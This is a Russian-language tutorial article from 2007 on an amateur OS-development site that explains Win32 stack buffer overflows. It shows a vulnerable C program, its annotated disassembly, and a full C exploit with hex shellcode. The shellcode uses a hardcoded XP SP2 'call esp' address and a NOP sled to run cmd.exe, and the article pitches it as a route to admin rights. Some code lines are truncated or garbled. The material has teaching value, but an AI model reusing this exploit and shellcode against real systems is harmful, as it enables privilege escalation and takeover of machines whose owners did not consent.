n3m1z1d4 OS
Пятница, 01.11.2024, 06:36
Меню сайта
Категории каталога
кодинг на асме [3]
все что оносится к асме ;)
n3m1z1d4 [2]
все, что относится к немизиде: кодинг под нее, описание и все-все-все :).
Наш опрос
Разработка Операционной Системы - это
Всего ответов: 44
Начало » Статьи » кодинг на асме

Переполнение буфера в Win32
Переполнение буфера — это явление, возникающее, когда компьютерная программа
записывает данные за пределами выделенного в памяти буфера -
говорит нам википедия(http://ru.wikipedia.org/wiki/Переполнение_буфера).
Что же это за буфер такой? Рассмотрим на примере.

//Листинг 1.
#include
void cat4(char *);

int main(int argc,char *argv[])
{
char buf[0x100];//Итак вот первый "буфер". Размер:256 байт.
strncpy(buf,argv[1],0x100-1);// Копируем первый аргумент программы в
cat4(argv[2]);//переменную buf 255 символов,в 256 функция допишет ноль.
//Далее вызываем обьявленую нами ранее функцию cat4 с аргументом,
//в качесвте которого выступает второй параметр проги.
return 0;
}

void cat4(char *str)
{
char b[4]="";//Обьявляем 4 байтовый масив.
strncat(b,str,4);//копируем 4 символа в этот масив после этого запишется 0
//Попутно стирая какуе-то инфу ;)...
}

Значит так, как видиш буфер - это простая переменная :). В нашей уязвимой проге мы использовали две функции strncpy() и strncat().
Первая принимает 3 аргумента: строка,в которую копируем, строка, которая копирует и количество символов, которое нужно скопировать. Вторая работает аналогично, только она дописывает. Весь прикол в том, что эта, и многие другие описаные в стандарте С функции добавляет ноль в конце копирования, тем самым создавая правильную ASCI строку. Это правильно. Язык С создан красивым, гибким, расширяющим граници, в то же врея кодер должен сам заботится о многих вещах, в подарок он получает бешеный выигрыш в производительности ;).
Так... Посмотрим на дизасемблированый вариант нашей проги. Я использовал MS VC 7.0 при компиляции и Ольку при отладке и соответственно дизасемблирования. Если ты используеш тоже самое у тебя получится аналогичный листинг :).
;Листинг 2

/*401000*/ push ebp ;Сохраняем ebp
/*401001*/ mov ebp,esp ;ложим еsp в еbp
/*401003*/ sub esp,100 ;Резервируем для переменных 0x100 байт
;на с это вылядело так: char buf[0x100]
/*401009*/ push 0FF ;количество копируемых символов
/*40100E*/ mov eax,dword ptr ss:[ebp+C] ;Ложим в eax указатель указателя командной строки
/*401011*/ mov ecx,dword ptr ds:[eax+4] ;в еcx ложится узатель аргумента 1 проги
/*401014*/ push ecx ;еcx ложится с стэк
/*401015*/ lea edx,dword ptr ss:[ebp-100] ;в edx ложится указатель на начало масива buf
/*40101B*/ push edx ;edx ложится в стэк
/*40101C*/ call console.00401070 ;call strncpy
;это то, что превратилось из
;strncpy(buf,argv[1],0x100-1)
/*401021*/ add esp,0C ;Так сложилось,что функции постандарту C не
;чистят после себя стэк :-\... Поэтому приходится
;прибавлять к esp 0xC
;(12 - по 4 байта с каждого параметра)
/*401024*/ mov eax,dword ptr ss:[ebp+C] ;Ложим в eax указатель указателя командной строки
;Что-то знакомое,правда :)?
/*401027*/ mov ecx,dword ptr ds:[eax+8] ;Ложим в еcx указатель на 2 аргумент проги.
/*40102A*/ push ecx ;Ложим еcx в стэк
/*40102B*/ call console.00401039 ;вызываем функцию cat4(argv[2])
/*401030*/ add esp,4 ;Чистим стэк...
/*401033*/ xor eax,eax ;eax=0
/*401035*/ mov esp,ebp ;esp=ebp
/*401037*/ pop ebp ;Вытаскиваем значения ebp из стэка
/*401038*/ retn ;По идее выходим из функции int main()
;Но это в идеальном случае, на самом же деле
;eip=dword[esp], то есь из стэка вытаскивается
;верхнее значение, и мы туда переходим.
;Так... А это начинается cat4(char *str)
/*401039*/ push ebp ;Резервируем ebp
/*40103A*/ mov ebp,esp ;esp=ebp
/*40103C*/ push ecx ;резервируем 4 байта (char b[4]="")
/*40103D*/ mov al,byte ptr ds:[405280] ;\Таким вот забавным способом все элеметы масива b
/*401042*/ mov byte ptr ss:[ebp-4],al ;| обнуляются...
/*401045*/ xor ecx,ecx ;|Вот что такое ЯВУ... на это все можно было бы
/*401047*/ mov word ptr ss:[ebp-3],cx ;|потратить 2 байта(cdq/push edx). Так нет же!!!
/*40104B*/ mov byte ptr ss:[ebp-1],cl ;/Мы же на С пишем... надо выпендрится...
;И оптимизировать код через жопу... 17 байт на ЭТО
;потратил компилер :-\ ...
/*40104E*/ push 4 ;Количество копируемых символов
/*401050*/ mov edx,dword ptr ss:[ebp+8] ;указатель на 2-ой аргумент проги
/*401053*/ push edx ;ложим в стэк
/*401054*/ lea eax,dword ptr ss:[ebp-4] ;указатель на b
/*401057*/ push eax ;ложим в стэк
/*401058*/ call console.00401170 ;вызываем функцию strncat(b,str,4)
/*40105D*/ add esp,0C ;чистим стэк от параметров
/*401060*/ mov esp,ebp ;esp=ebp
/*401062*/ pop ebp ;востанавливаем ebp
/*401063*/ retn ;"выходим"
/*401064*/ int3
/*401065*/ int3
/*401066*/ int3
/*401067*/ int3
/*401068*/ int3
/*401069*/ int3
/*40106A*/ int3
/*40106B*/ int3
/*40106C*/ int3
/*40106D*/ int3
/*40106E*/ int3
/*40106F*/ int3

После этого кода идет инициализация проги, описание используемых функций и прочий бред... Забавно... Это все у нас весит 24 кб... на асме можно было бы уложится в 2(есть такая либа прикольная msvcrt.dll называется ;)...). ЯВУ... А что? за удобства нужно платить...

Получается, что когда мы передаем нашей проге ОЧЕНЬ большую строку происходит переполнение буфера. Все, что нам остается, это передать нужную строку с шелкодом.
Шелкод - это код написанный на ассемблере и передаваемый в прогу для выполнения.
Такое вот необычное приминение можно найти програмке, которая просто анализирует какую-строку и все...

Так... уязвимую прогу мы рассмотрели... осталось рассмотреть эксплоит.
Эксплоит - программа-шприц, которая впрыскивает отраву(шелкод) в жертву, в результате чего жертва выполняет наш код, то есть делает ВСЕ ЧТО МЫ ЗАХОТИМ :). Вот такие пироги.

Переполнение буфера обычно используют для запуска командного интерпретатора с правами рута.
Рут - это админ. Если уявимая прога запущена с правами админа, то мы спокойно можем стать админами ;).

Рассмотрим передаваемую в уязвимую прогу строку. В ней должен быть адрес на команду call esp
В это время на верхушке стэка должен быть адрес шелкода. Шелкод у нас будет запускать cmd.exe.
Ну вот и все в принципе.

Алгоритм приведенного ниже эксплоита такой. Проверяем лежит ли адресу 0x7C82385D команда call esp. Если ее там нету - дальнейшая работа не имеет смысла. Этот адрес действителен для xp sp2.
В остальных виндах очень маленькая вероятность того, что будет такой адрес. Потом мы находим адрес WinExec(что бы не искать его в шелкода, а то он разрастется до неба(в принципе можно но так, имхо, эфективней). Записываем его в тело шелкода, как раз на команду mov eax,$ffffffff ,
вместо $ffffffff. Создаем имя уязвимой программы, в данном случае 1.exe, рекомендую записать скомпиленый эксплоит и уязвимую прогу в папочку с Олькой и там запускать все в месть, для того, что бы видеть как оно работает. Потом заполняем буфер нопами, телом шелкода и рэтами. Первый параметр проги готов :). Потом записываем пробел и 4 буквы A. И запускаем нашу прогу со всеми аргументами ;).
//Листинг 3
#include
#include
#include
void or_yes(int *);

char shell[]="\x5d\x38\x82\x7C"//адрес инструкции call esp в kernel32.dll
"\x83\xC4\x84"//add esp,-0x80; Там наxодятса nop'ы
"\x6a\x01" //push 1
"\xeb\x1e" //jmp $+shell_code_size
"\x5d" //pop ebp
"\x55" //push ebp
"\xb0\x1f" //mov al,0x19
"\x40" //inc eax
"\x8d\x7d\03" //lea edi,[ebp+3]
"\xaa" //stosb
"\x47\x47" //inc edi/inc edi
"\xaa" //stosb
"\x83\xc7\x05"//add edi,5
"\xaa" //stosb
"\x83\xC7\x03"//add edi,3
"\x33\xc0" //xor eax,eax
"\xaa" //stosb
"\xB8"// начало опкода mov eax, \
"\xFF\xff\xff\xFF"// / mov eax,{адрес WinExec}
"\xff\xd0" //call eax
"\xC3" //ret
"\xe8\xdd\xff\xff\xff" //call $-shell_code_size-1
//call WinExec("cmd /K start cmd",);
"cmd"
"\xFF"
"/K"
"\xff"
"start"
"\xff"
"cmd";

void shell_on()// эта функция находит адрес WinExec и записывает его в наш шелкод.
{
char kernel[]="kernel32.dll";
char exec[]="WinExec";
char prc[3];
_asm
{
lea eax,exec
push eax
lea eax,kernel
push eax
call ds:[GetModuleHandle]
push eax
call ds:[GetProcAddress]
mov dword ptr ss:prc,eax
}
for(int i=34,j=0;i<=37;shell[i++]=prc[j++]);
}

int main(int argc,char *argv[])
{
int ret;
or_yes(&ret);
if(!ret)return 0;

shell_on();

char name[]="OllyDbg 1.exe";
char buffer[0x100+6+3]="";
int i,j,len;
len=strlen(name);
for(i=0;i<=len;i++)buffer[i]=name[i];
buffer[--i]='\x20';
i++;
//strcpy(buffer,name);
for(;i<=0x80+4+len;i++)buffer[i]='\x90';

len=strlen(shell);
//buffer[0x80+1]='\x20';
//for(int f=2;f<=4;buffer[0x80+ f++]='\x90');

for(j=0;j for(;i<0x100+5;i++)buffer[i]='\xc3';
buffer[0x100+5]='\x20';
for(i=0x100+5+1;i<=0x100+5+4;i++)buffer[i]='A';
WinExec(buffer,1);
return 0;
}

void or_yes(int *i)
{
_asm
{//адрес действитилен на моей тачке,Xp'ха Sp2. Впрочем для ломаемой
//системы не проблема подставить правильный адрес ;).
mov eax,0x7C82385D // Жестакая привязка ето сакс. Сори, ничего не
mov ebx,dword ptr ds:[eax]// лучшего пока не могу придумать :(.
cmp bx,0xd4ff
jz yes
mov i,0
yes:mov i,1
}
}

Ну вот и все. Это была вводная статья про переполнения буфера. Надеюсь она кому-то поможет :).

Категория: кодинг на асме | Добавил: 3n3m1 (06.03.2007) | Автор: mn3m0n1c 3n3m1
Просмотров: 1105 | Рейтинг: 0.0 |

Форма входа
Поиск по каталогу
Друзья сайта
Copyright [mn3m0n1c 3n3m1] © 2007 Хостинг от uCoz